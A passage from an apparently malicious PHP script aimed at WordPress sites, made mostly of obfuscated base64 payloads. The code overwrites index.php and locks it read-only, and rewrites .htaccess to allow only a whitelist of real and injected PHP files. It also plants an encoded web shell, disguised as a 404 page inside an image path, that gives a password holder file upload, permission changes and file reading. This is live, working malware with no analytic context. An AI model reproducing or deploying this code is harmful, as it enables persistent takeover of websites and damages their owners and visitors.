WpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4